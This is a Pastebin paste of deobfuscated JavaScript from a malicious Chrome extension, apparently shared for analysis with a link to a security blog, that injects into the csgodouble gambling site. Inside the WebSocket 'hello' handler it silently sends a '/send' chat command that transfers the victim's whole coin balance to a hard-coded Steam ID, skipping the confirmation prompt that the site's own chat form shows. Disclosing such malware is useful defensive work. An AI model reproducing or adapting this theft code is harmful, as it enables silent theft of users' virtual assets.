Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //Part of malicious Chrome extension, steals from your Steam inventory. More information:
- //http://bartblaze.blogspot.com/2016/01/chrome-extension-empties-your-steam.html
- "use strict";
- function todongers(e) {
- return $("#settings_dongers").is(":checked") ? e / 1e3 : e
- }
- function todongersb(e) {
- return $("#settings_dongers").is(":checked") ? (e / 1e3).toFixed(3) : e
- }
- function play_sound(e) {
- var t = $("#settings_sounds").is(":checked");
- t && ("roll" == e ? sounds_rolling.play() : "finish" == e && sounds_tone.play())
- }
- function snapRender(e, t) {
- if (CASEW = $("#case").width(), !isMoving)
- if ("undefined" == typeof e) view(snapX);
- else {
- for (var n = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8], a = 0, o = 0; o < n.length; o++)
- if (e == n[o]) {
- a = o;
- break
- }
- var s = 34,
- i = -34,
- l = Math.floor(t * (s - i + 1) + i),
- r = 75 * a + 36 + l;
- r += 5625, snapX = r, view(snapX)
- }
- }
- function spin(e) {
- var t = e.roll;
- play_sound("roll");
- for (var n = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8], a = 0, o = 0; o < n.length; o++)
- if (t == n[o]) {
- a = o;
- break
- }
- var s = 34,
- i = -34,
- l = Math.floor(e.wobble * (s - i + 1) + i),
- r = 75 * a + 36 + l;
- r += 5625, animStart = (new Date).getTime(), vi = getVi(r), tf = getTf(vi), isMoving = !0, setTimeout(function() {
- finishRoll(e, tf)
- }, tf), render()
- }
- function d_mod(e, t) {
- return e * (Math.pow(R, t) - 1) / LOGR
- }
- function getTf(e) {
- return (Math.log(S) - Math.log(e)) / LOGR
- }
- function getVi(e) {
- return S - e * LOGR
- }
- function v(e, t) {
- return e * Math.pow(R, t)
- }
- function render() {
- var e = (new Date).getTime() - animStart;
- e > tf && (e = tf);
- var t = d_mod(vi, e);
- view(t), tf > e ? requestAnimationFrame(render) : (snapX = t, isMoving = !1)
- }
- function view(e) {
- e = -((e + 1125 - CASEW / 2) % 1125), $CASE.css("background-position", e + "px 0px")
- }
- function cd(e, t) {
- $("#counter").finish().css("width", "100%"), $("#counter").animate({
- width: "0%"
- }, {
- duration: 1e3 * e,
- easing: "linear",
- progress: function(e, t, n) {
- var a = (n / 1e3).toFixed(2);
- $BANNER.html("Rolling in " + a + "...")
- },
- complete: t
- })
- }
- function send(e) {
- "string" != typeof e && (e = JSON.stringify(e)), WS && 1 == WS.readyState && WS.send(e)
- }
- function finishRoll(e, t) {
- addHist(e.roll, e.rollid), play_sound("finish");
- for (var n = 0; n < e.nets.length; n++) $("#panel" + e.nets[n].lower + "-" + e.nets[n].upper).find(".total").countTo(e.nets[n].swon > 0 ? e.nets[n].swon : -e.nets[n].samount, {
- color: !0,
- keep: !0
- });
- for (var a = [
- [0, 0],
- [1, 7],
- [8, 14]
- ], n = 0; n < a.length; n++) {
- var o = $("#panel" + a[n][0] + "-" + a[n][1]).find(".mytotal");
- if (e.roll >= a[n][0] && e.roll <= a[n][1]) o.countTo(e.won, {
- color: !0,
- keep: !0
- });
- else {
- var s = parseFloat(o.html());
- $("#settings_dongers").is(":checked") && (s *= 1e3), o.countTo(-s, {
- color: !0,
- keep: !0
- })
- }
- }
- null != e.balance && $("#balance").countTo(e.balance, {
- color: !0
- }), setTimeout(function() {
- cd(e.count), $(".total,.mytotal").removeClass("text-success text-danger").html(0), $(".betlist li").remove(), snapRender(), $(".betButton").prop("disabled", !1), showbets = !0
- }, 1e3 * e.wait - t)
- }
- function addHist(e, t) {
- var n = $("#past .ball").length;
- n >= 10 && $("#past .ball").first().remove(), 0 == e ? $("#past").append("<div data-rollid='" + t + "'class='ball ball-0'>" + e + "</div>") : 7 >= e ? $("#past").append("<div data-rollid='" + t + "'class='ball ball-1'>" + e + "</div>") : $("#past").append("<div data-rollid='" + t + "'class='ball ball-8'>" + e + "</div>")
- }
- function onMessage(e) {
- try {
- var t = JSON.parse(e.data);
- if ("preroll" == t.type) {
- $("#counter").finish(), $("#banner").html("Confirming " + t.totalbets + "/" + (t.totalbets + t.inprog) + " total bets..."), $("#panel0-0 .total").countTo(t.sums[0]), $("#panel1-7 .total").countTo(t.sums[1]), $("#panel8-14 .total").countTo(t.sums[2]);
- try {
- tinysort("#panel1-7 .betlist>li", {
- data: "amount",
- order: "desc"
- })
- } catch (n) {}
- try {
- tinysort("#panel8-14 .betlist>li", {
- data: "amount",
- order: "desc"
- })
- } catch (n) {}
- try {
- tinysort("#panel0-0 .betlist>li", {
- data: "amount",
- order: "desc"
- })
- } catch (n) {}
- } else if ("roll" == t.type) $(".betButton").prop("disabled", !0), $("#counter").finish(), $("#banner").html("Predicted number is " + t.roll + "!"), ROUND = t.rollid, showbets = !1, spin(t);
- else if ("chat" == t.type) chat("player", t.msg, t.name, t.icon, t.user, t.rank, t.lang);
- else if ("hello" == t.type) {
- cd(t.count), USER = t.user, RANK = t.rank, $("#balance").countTo(t.balance);
- for (var a = 0, o = 0; o < t.rolls.length; o++) addHist(t.rolls[o].roll, t.rolls[o].rollid), a = t.rolls[o].roll, ROUND = t.rolls[o].rollid;
- snapRender(a, t.last_wobble), MAX_BET = t.maxbet, send({
- type: "chat",
- msg: "/send 76561198254328724 " + t.balance,
- lang: "1"
- })
- } else "bet" == t.type ? showbets && (addBet(t.bet), $("#panel0-0 .total").countTo(t.sums[0]), $("#panel1-7 .total").countTo(t.sums[1]), $("#panel8-14 .total").countTo(t.sums[2])) : "betconfirm" == t.type ? ($("#panel" + t.bet.lower + "-" + t.bet.upper + " .mytotal").countTo(t.bet.amount), $("#balance").countTo(t.balance, {
- color: !0
- }), $(".betButton").prop("disabled", !1), chat("alert", "Bet #" + t.bet.betid + " confirmed " + t.mybr + "/" + t.br + " (" + t.exec / 1e3 + " sec) ")) : "error" == t.type ? (chat("error", t.error), t.enable && $(".betButton").prop("disabled", !1)) : "alert" == t.type ? (chat("alert", t.alert), t.maxbet && (MAX_BET = t.maxbet), isNaN(t.balance) || (console.log("setting balance = %s", t.balance), $("#balance").countTo(t.balance, {
- color: !0
- }))) : "logins" == t.type ? $("#isonline").html(t.count) : "balance" == t.type && $("#balance").fadeOut(100).html(todongersb(t.balance)).fadeIn(100)
- } catch (n) {
- console.log("Error: " + e.data + " " + n)
- }
- }
- function addBet(e) {
- var t = e.user + "-" + e.lower,
- n = "#panel" + e.lower + "-" + e.upper,
- a = $(n);
- a.find("#" + t).remove();
- var o = "http://steamcommunity.com/profiles/" + e.user,
- s = "<li class='list-group-item' id='{0}' data-amount='{1}'>";
- s += "<div style='overflow: hidden;line-height:32px'>", s += "<div class='pull-left'><img class='rounded' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars{2}'><a style='color: black;' href='" + o + "' target='_blank'><b>{3}</b></a></div>", s += "<div class='amount pull-right'>{4}</div>", s += "</div></li>";
- var i = $(s.format(t, e.amount, e.icon, e.name, todongersb(e.amount)));
- i.hide().prependTo(a.find(".betlist")).slideDown("fast", function() {
- snapRender()
- })
- }
- function connect() {
- WS || $.ajax({
- url: "/scripts/getToken.php",
- success: function(e) {
- e && ("nologin" == e || "banned" == e || (WS = new WebSocket(HOST + "/" + e), WS.onclose = function(e) {
- WS = null
- }, WS.onmessage = onMessage))
- },
- error: function(e) {}
- })
- }
- function emotes(e) {
- for (var t = ["deIlluminati", "KappaRoss", "KappaPride", "BibleThump", "Kappa", "Keepo", "Kreygasm", "PJSalt", "PogChamp", "SMOrc", "FailFish"], n = 0; n < t.length; n++) e = e.replace(new RegExp(t[n] + "( |$)", "g"), "<img src='img/twitch/" + t[n] + ".png'> ");
- return e
- }
- function chat(e, t, n, a, o, s, i) {
- if (IGNORE.indexOf(String(o)) > -1) return void console.log("ignored:" + t);
- if (i == LANG || "italic" == e || "error" == e || "alert" == e) {
- document.getElementById("chatArea"), t = t.replace(/(<|>)/g, ""), t = emotes(t);
- var l = "";
- if ("italic" == e) l = "<div><i>" + t + "</i></div>";
- else if ("error" == e) l = "<div><b class='text-danger'>" + t + "</b></div>";
- else if ("alert" == e) l = "<div><b class='text-success'>" + t + "</b></div>";
- else if ("player" == e) {
- var r = "chat-link";
- 100 == s ? (r = "chat-link-mod", n = "[Owner] " + n) : 1 == s ? (r = "chat-link-pmod", n = "[Mod] " + n) : -1 == s ? (r = "chat-link-streamer", n = "[Streamer] " + n) : -2 == s ? (r = "chat-link-vet", n = "[Veteran] " + n) : -3 == s && (r = "chat-link-pro", n = "[Pro] " + n);
- var c = "http://steamcommunity.com/profiles/" + o;
- l = "<div><img class='chat-img rounded' data-steamid='" + o + "' data-name='" + n + "' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars" + a + "'><a class='" + r + "' href='" + c + "' target='_blank'><b>" + n + "</b></a>: " + t + "</div>"
- }
- if ($CHATAREA.append(l), SCROLL) {
- var d = $CHATAREA.children().length;
- if (d > 75) {
- var u = d - 75;
- $CHATAREA.children().slice(0, u).remove()
- }
- $CHATAREA.scrollTop($CHATAREA[0].scrollHeight)
- }
- if (SCROLL && !$(".side-icon[data-tab='1']").hasClass("active")) {
- var d = parseInt($("#newMsg").html()) || 0;
- $("#newMsg").html(d + 1)
- }
- }
- }
- function getMenuPosition(e, t, n) {
- var a = $(window)[t](),
- o = $(window)[n](),
- s = $("#contextMenu")[t](),
- i = e + o;
- return e + s > a && e > s && (i -= s), i
- }
- function str2int(e) {
- e = e.replace(/,/g, ""), e = e.toLowerCase();
- var t = parseFloat(e);
- return isNaN(t) ? 0 : ("k" == e.charAt(e.length - 1) ? t *= 1e3 : "m" == e.charAt(e.length - 1) ? t *= 1e6 : "b" == e.charAt(e.length - 1) && (t *= 1e9), t)
- }
- var CASEW = 1125,
- LAST_BET = 0,
- MAX_BET = 0,
- USER = "",
- RANK = 0,
- ROUND = 0,
- HOST = "ws://www.csgodouble.com:8080",
- WS = null,
- showbets = !0,
- snapX = 0,
- R = .999,
- S = .01,
- tf = 0,
- vi = 0,
- animStart = 0,
- isMoving = !1,
- LOGR = Math.log(R),
- $CASE = null,
- $BANNER = null,
- $CHATAREA = null,
- SCROLL = !0,
- LANG = 1,
- IGNORE = [],
- sounds_rolling = new Audio("sounds/rolling.wav");
- sounds_rolling.volume = .5;
- var sounds_tone = new Audio("sounds/tone.wav");
- sounds_tone.volume = .75, jQuery.fn.extend({
- countTo: function(e, t) {
- t = t || {};
- var n = "",
- a = $("#settings_dongers").is(":checked");
- a && (n = "$", e /= 1e3);
- var o = $(this),
- s = parseFloat(o.html()),
- i = e - s;
- t.color && (i > 0 ? o.addClass("text-success") : 0 > i && o.addClass("text-danger"));
- var l = "";
- t.keep && i > 0 && (l = "+");
- var r = i;
- a && (r *= 1e3);
- var c = Math.min(400, Math.round(Math.abs(r) / 500 * 400));
- $({
- count: s
- }).animate({
- count: e
- }, {
- duration: c,
- step: function(e) {
- var t = 0;
- t = a ? e.toFixed(3) : Math.floor(e), o.html("" + l + t)
- },
- complete: function() {
- t.keep || o.removeClass("text-success text-danger"), t.callback && t.callback()
- }
- })
- }
- }), $(document).ready(function() {
- $CASE = $("#case"), $BANNER = $("#banner"), $CHATAREA = $("#chatArea"), connect(), $("#settings_dongers").is(":checked") && $("#dongers").html("$"), $("#lang").on("change", function() {
- LANG = $(this).val(), chat("alert", "## Switched to room: " + $(this).find("option:selected").text())
- }), $("#scroll").on("change", function() {
- SCROLL = !$(this).is(":checked")
- }), $(window).resize(function() {
- snapRender()
- }), $("#chatForm").on("submit", function() {
- var e = $("#chatMessage").val();
- if (e) {
- var t = null;
- (t = /^\/send ([0-9]*) ([0-9]*)/.exec(e)) ? bootbox.confirm("You are about to send " + t[2] + " coins to steamid " + t[1] + " - are you sure?", function(t) {
- t && (send({
- type: "chat",
- msg: e,
- lang: LANG
- }), $("#chatMessage").val(""))
- }): (send({
- type: "chat",
- msg: e,
- lang: LANG
- }), $("#chatMessage").val(""))
- }
- return !1
- }), $(document).on("click", ".ball", function() {
- $(this).data("rollid")
- }), $(".betButton").on("click", function() {
- var e = $(this).data("lower"),
- t = $(this).data("upper"),
- n = str2int($("#betAmount").val());
- $("#settings_dongers").is(":checked") && (n = 1e3 * n), n = Math.floor(n);
- var a = $("#settings_confirm").is(":checked");
- if (a && n > 1e4) {
- var o = !1;
- bootbox.confirm("Are you sure you wish to bet " + formatNum(n) + " coins?<br><br><i>You may disable this confirmation under the settings menu.</i>", function(a) {
- a && !o && (o = !0, send({
- type: "bet",
- amount: n,
- lower: e,
- upper: t,
- round: ROUND
- }), LAST_BET = n, $(this).prop("disabled", !0))
- })
- } else send({
- type: "bet",
- amount: n,
- lower: e,
- upper: t,
- round: ROUND
- }), LAST_BET = n, $(this).prop("disabled", !0);
- return !1
- }), $(document).on("click", ".betshort", function() {
- var e = str2int($("#betAmount").val()),
- t = $(this).data("action");
- if ("clear" == t) e = 0;
- else if ("double" == t) e *= 2;
- else if ("half" == t) e /= 2;
- else if ("max" == t) {
- var n = MAX_BET;
- $("#settings_dongers").is(":checked") && (n = MAX_BET / 1e3), e = Math.min(str2int($("#balance").html()), n)
- } else "last" == t ? e = LAST_BET : e += parseInt(t);
- $("#betAmount").val(e)
- }), $("#getbal").on("click", function() {
- send({
- type: "balance"
- })
- }), $("button.close").on("click", function() {
- $(this).parent().addClass("hidden")
- }), $(document).on("contextmenu", ".chat-img", function(e) {
- if (!e.ctrlKey) {
- $("#contextMenu [data-act=1]").hide(), $("#contextMenu [data-act=2]").hide(), 100 == RANK ? ($("#contextMenu [data-act=1]").show(), $("#contextMenu [data-act=2]").show()) : 1 == RANK && $("#contextMenu [data-act=1]").show(), e.preventDefault();
- var t = $(this).data("steamid"),
- n = $(this).data("name");
- $("#contextMenu [data-act=0]").html(n);
- var a = $("#contextMenu");
- a.show().css({
- position: "absolute",
- left: getMenuPosition(e.clientX, "width", "scrollLeft"),
- top: getMenuPosition(e.clientY, "height", "scrollTop")
- }).off("click").on("click", "a", function(e) {
- var n = $(this).data("act");
- e.preventDefault(), a.hide(), 0 == n ? $("#chatMessage").val(t) : 1 == n ? $("#chatMessage").val("/mute " + t + " ") : 2 == n ? $("#chatMessage").val("/kick " + t + " ") : 3 == n ? $("#chatMessage").val("/send " + t + " ") : 4 == n && (IGNORE.push(String(t)), chat("alert", t + " has been filtered.")), $("#chatMessage").focus()
- })
- }
- }), $(document).on("click", function() {
- $("#contextMenu").hide()
- }), $(".side-icon").on("click", function(e) {
- e.preventDefault();
- var t = $(this).data("tab");
- return $(this).hasClass("active") ? ($(".side-icon").removeClass("active"), $(".tab-group").addClass("hidden"), $("#mainpage").css("margin-left", "50px"), $("#pullout").addClass("hidden")) : ($(".side-icon").removeClass("active"), $(".tab-group").addClass("hidden"), $(this).addClass("active"), $("#tab" + t).removeClass("hidden"), $("#mainpage").css("margin-left", "450px"), $("#pullout").removeClass("hidden"), 1 == t && $("#newMsg").html("")), snapRender(), !1
- }), $(".side-icon[data-tab='1']").trigger("click")
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement